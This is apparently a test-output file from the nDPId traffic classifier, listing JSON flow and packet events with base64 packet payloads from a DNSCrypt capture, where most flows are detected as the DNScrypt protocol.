+01102{"flow_id":214,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":70539,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcSFtAAH4R+p4KAAABLuPIN8RlIPsCCLnwFdEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":512,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":50277,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":513,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":44161,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":215,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":70548,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcSFwgAH4RFt4KAAABLuPIN6yBIPsGBB0zFdIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":513,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":44161,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":514,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":70559,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQSFwAuX4RO7EKAAABLuPINwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":514,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":515,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":49177,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":216,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":70559,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcSF1AAH4R+pwKAAABLuPIN8AZIPsCCLnwFc8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":515,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":946739396070,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":49177,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00662{"flow_id":208,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":71145,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTkQhAADcR9haQW2rjCgAAAQG71CEAvwNXZlqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAALkTa3PmYOnbKVsenPA+dUbqb7bPdeethm+r51VaewMcP0sfe1RtTAHcc8Uvs8bFQylZgA4Na3Yk4xgl2KWmKw4bPctGhBgarq2J2ya3ifLfvYsxbqqez8iaBEin48TCXxs9y0aEGBquAAAAAV9TgfdfVNN3"} +00662{"flow_id":205,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":71393,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTkQVAADcR9hmQW2rjCgAAAQG7vKwAvxrIZl6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAALkTa3PmYOnbKVsenPA+dUbqb7bPdeethm+r51VaewMcP0sfe1RtTAHcc8Uvs8bFQylZgA4Na3Yk4xgl2KWmKw4bPctGhBgarq2J2ya3ifLfvYsxbqqez8iaBEin48TCXxs9y0aEGBquAAAAAV9TgfdfVNN3"} +00662{"flow_id":207,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":73027,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTkQdAADcR9heQW2rjCgAAAQG7vG0AvxsMZlmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAALkTa3PmYOnbKVsenPA+dUbqb7bPdeethm+r51VaewMcP0sfe1RtTAHcc8Uvs8bFQylZgA4Na3Yk4xgl2KWmKw4bPctGhBgarq2J2ya3ifLfvYsxbqqez8iaBEin48TCXxs9y0aEGBquAAAAAV9TgfdfVNN3"} +00663{"flow_id":209,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":74506,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTkQlAADcR9hWQW2rjCgAAAQG72K0Av\/7IZlyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAALkTa3PmYOnbKVsenPA+dUbqb7bPdeethm+r51VaewMcP0sfe1RtTAHcc8Uvs8bFQylZgA4Na3Yk4xgl2KWmKw4bPctGhBgarq2J2ya3ifLfvYsxbqqez8iaBEin48TCXxs9y0aEGBquAAAAAV9TgfdfVNN3"} +00662{"flow_id":210,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":520,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":74717,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"ZmZmZmZmRERERERECABFAADTkQpAADcR9hSQW2rjCgAAAQG707wAvwO5Zl2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAALkTa3PmYOnbKVsenPA+dUbqb7bPdeethm+r51VaewMcP0sfe1RtTAHcc8Uvs8bFQylZgA4Na3Yk4xgl2KWmKw4bPctGhBgarq2J2ya3ifLfvYsxbqqez8iaBEin48TCXxs9y0aEGBquAAAAAV9TgfdfVNN3"} +00671{"flow_id":211,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":107951,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWzCtAADcRvxQu48g3CgAAASD7gg0AwherFdOAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00671{"flow_id":214,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":108072,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWzC1AADcRvxIu48g3CgAAASD7xGUAwtVUFdGAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00671{"flow_id":212,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":109227,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWzCxAADcRvxMu48g3CgAAASD7lWIAwgRZFdCAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00671{"flow_id":213,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":109459,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWzC5AADcRvxEu48g3CgAAASD7gd4AwhffFc6AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00671{"flow_id":215,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":110024,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWzC9AADcRvxAu48g3CgAAASD7rIEAwu03FdKAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":526,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":54375,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":217,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":526,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":111009,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcKehAAH4Ra2AKAAABa6o5ItRnAbsCCGeiszEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":526,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":54375,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":527,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":946739396111,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":55185,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":218,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":527,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":111010,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcKekgAH4Rh58KAAABa6o5IteRAbsGBOOGsy4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 